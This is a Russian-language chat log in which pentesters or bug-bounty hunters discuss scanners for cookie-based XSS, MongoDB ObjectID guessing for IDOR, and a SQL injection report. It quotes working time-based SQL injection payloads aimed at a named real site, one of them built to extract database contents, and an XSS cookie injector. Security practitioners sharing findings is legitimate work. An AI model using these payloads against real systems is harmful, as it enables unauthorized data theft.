Не юзал, напиши в саппорт)

Кто-нибудь знает сканер для cookie based xss? Пример ошибки: https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation
Проверил сканеры Burp, AppSpider, Acunetix, XSStrike - ненаход.
AppScan, Netsparker - находят, но только при условии что есть возможность установки cookie. Соответственно crlf и wildcard они не учитывают. Нужно чтобы в каждом url устанавливались cookie с инжектором типа sessionid=<script>. Пробовал написать скрипт для Netsparker, но он не работает. Может быть есть какая надстройка у сканеров, которую я не вижу или скрипт на github? Кстати Burp в своей же лаборатории не находит Blind SQL и XSS некоторые, хотя тот же Netsparker c этим справляется.

Это все last версии продуктов

?

Смотря что, но как минимум prelast

Steps to reproduce:
Getting two states for boolean based sql injection
Error - https://www.innogames.com/'
No error - https://www.innogames.com/''
Crafted POC
https://www.innogames.com/'xor(if(now()=sysdate(),sleep(10),0))or'
Advanced payload for data extraction
https://www.innogames.com/'xor(if(mid(database(),1,1)=0x41,sleep(63),0))or'

там написано что отчет не полностью открыт, но наверно endpoint спрятан, так как ну не может же быть скуля в корне сайта, как показано в примере https://www.innogames.com/'

Чё за хуйня о_О

Не-не, может быть, если там, например, админ дебил слегка и для аналитики каждое телодвижение юзера в базу кладёт

То есть тупо эвентлог апача/нджинкса в мускул кладётся

"Есть многое на свете, друг Горацио...."

Блять, вот реально же просто инжекть каждый пейлоад из словаря в каждое поле и надейся на удачу. Никогда не знаешь, что там на бэкенде вообще.

Подскажите а objectid в mongodb генерируется совсем случайно.

Ну там для генерации ид первые сколько то байт это timestamp, а потом уже случайное значение?

Вроде недавно была статья об этом?

Спасибо, значит из 3 байт и получился idor😊

https://iz.ru/1058706/anna-urmantceva/ushcherb-ot-vzloma-oblaka-mozhet-byt-razmerom-s-natcionalnuiu-ekonomiku

к теме про блэков, которая тут когда-то была)

Дааа))) симку без паспорта купить нельзя, ага))))) в каждой подворотне продают, подходишь да покупаешь за копейки без лишних вопросов)))